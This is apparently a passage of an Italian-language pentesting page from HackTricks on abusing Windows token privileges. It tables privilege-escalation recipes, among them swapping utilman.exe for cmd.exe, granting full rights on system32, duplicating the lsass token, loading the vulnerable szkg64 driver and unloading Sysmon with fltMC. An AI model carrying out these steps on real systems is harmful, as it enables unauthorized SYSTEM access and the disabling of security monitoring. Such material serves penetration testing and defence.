I **token che appaiono come Disabilitati** possono essere abilitati, puoi effettivamente abusare dei token _Abilitati_ e _Disabilitati_.
|
||||
|
||||
### Abilita tutti i token
|
||||
|
||||
Se hai token disabilitati, puoi usare lo script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) per abilitare tutti i token:
|
||||
```bash
|
||||
.\EnableAllTokenPrivs.ps1
|
||||
whoami /priv
|
||||
```
|
||||
Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
|
||||
|
||||
## Table
|
||||
|
||||
Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
|
||||
|
||||
| Privilege | Impact | Tool | Execution path | Remarks |
|
||||
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"Consentirebbe a un utente di impersonare i token e di ottenere privilegi di sistema nt utilizzando strumenti come potato.exe, rottenpotato.exe e juicypotato.exe"_ | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
|
||||
| **`SeBackup`** | **Threat** | _**Built-in commands**_ | Leggi file sensibili con `robocopy /b` | <p>- Potrebbe essere più interessante se puoi leggere %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (e robocopy) non è utile quando si tratta di file aperti.<br><br>- Robocopy richiede sia SeBackup che SeRestore per funzionare con il parametro /b.</p> |
|
||||
| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | Crea un token arbitrario incluso i diritti di amministratore locale con `NtCreateToken`. | |
|
||||
| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplica il token di `lsass.exe`. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|
||||
| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool | <p>1. Carica un driver del kernel difettoso come <code>szkg64.sys</code><br>2. Sfrutta la vulnerabilità del driver<br><br>In alternativa, il privilegio può essere utilizzato per scaricare driver relativi alla sicurezza con il comando incorporato <code>ftlMC</code>. i.e.: <code>fltMC sysmondrv</code></p> | <p>1. La vulnerabilità <code>szkg64</code> è elencata come <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. Il <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">codice di exploit</a> è stato creato da <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
|
||||
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. Avvia PowerShell/ISE con il privilegio SeRestore presente.<br>2. Abilita il privilegio con <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>).<br>3. Rinomina utilman.exe in utilman.old<br>4. Rinomina cmd.exe in utilman.exe<br>5. Blocca la console e premi Win+U</p> | <p>L'attacco potrebbe essere rilevato da alcuni software antivirus.</p><p>Il metodo alternativo si basa sulla sostituzione dei file binari di servizio memorizzati in "Program Files" utilizzando lo stesso privilegio</p> |
|
||||
| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Rinomina cmd.exe in utilman.exe<br>4. Blocca la console e premi Win+U</p> | <p>L'attacco potrebbe essere rilevato da alcuni software antivirus.</p><p>Il metodo alternativo si basa sulla sostituzione dei file binari di servizio memorizzati in "Program Files" utilizzando lo stesso privilegio.</p> |
|
||||
| **`SeTcb`** | _**Admin**_ | 3rd party tool | <p>Manipola i token per avere diritti di amministratore locale inclusi. Potrebbe richiedere SeImpersonate.</p><p>Da verificare.</p> | |
|
||||
|
||||
## Reference
|
||||
|
||||
- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
|
||||
- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user